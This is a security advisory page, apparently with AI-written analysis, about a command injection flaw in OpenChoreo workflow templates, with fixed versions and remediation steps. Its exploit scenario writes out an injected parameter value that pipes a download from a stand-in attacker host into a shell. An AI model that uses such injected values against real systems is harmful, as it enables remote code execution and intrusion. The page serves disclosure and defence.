PR:L confirmed by authenticated developer requirement; S:C assessed (not S:U) because missing hostUsers:false in privileged Podman enables host-level node impact beyond the vulnerable pod.

DescriptionCVE.org

OpenChoreo is a complete, open-source developer platform for Kubernetes. Prior to 1.0.4, 1.1.4, and 1.2.0-rc.2, OpenChoreo Workflow Plane templates under samples/getting-started/workflow-templates/ interpolated developer-controlled workflow parameters into shell program text executed through sh -c instead of passing the values through container.env, allowing arbitrary commands to run in workflow pods while affected privileged Podman templates lacked hostUsers: false. This issue is fixed in versions 1.0.4, 1.1.4, and 1.2.0-rc.2.

AnalysisAI

OS command injection in OpenChoreo's Workflow Plane templates allows authenticated developers to execute arbitrary shell commands inside workflow pods by supplying malicious workflow parameters. Affected versions prior to 1.0.4, 1.1.4, and 1.2.0-rc.2 directly interpolated user-controlled parameters such as image-name, image-tag, app-path, and build-env into sh -c shell text rather than passing them through container.env, a classic CWE-78 pattern. …

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate as low-privileged OpenChoreo developer
Delivery
Craft workflow parameter with embedded shell metacharacters
Exploit
Submit workflow job to Workflow Plane API
Execution
Template engine interpolates payload into sh -c shell command
Persist
Arbitrary commands execute inside workflow pod
Impact
Leverage privileged Podman (missing hostUsers: false) to escalate to Kubernetes node

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated account with permission to submit workflow jobs to the OpenChoreo Workflow Plane (CVSS PR:L confirmed). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 8.8 score with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately reflects that exploitation requires only low-privilege authenticated access (developer credentials) with no attack complexity. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario A developer with workflow submission access crafts a malicious value for the image-name workflow parameter - for example, legitimate-image; curl http://attacker.com/payload | sh - and submits a workflow job through the OpenChoreo platform. The Workflow Plane template interpolates this string directly into sh -c shell text, causing the shell to execute the injected command inside the workflow pod. …
Remediation Upgrade to OpenChoreo v1.0.4, v1.1.4, or v1.2.0-rc.2 as appropriate for your installed branch; all three releases are confirmed available at the GitHub releases page (https://github.com/openchoreo/openchoreo/releases). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, inventory all OpenChoreo deployments and identify which versions are running; audit workflow definitions and access logs for evidence of exploitation or suspicious workflow parameters such as image-name, image-tag, app-path, and build-env. …
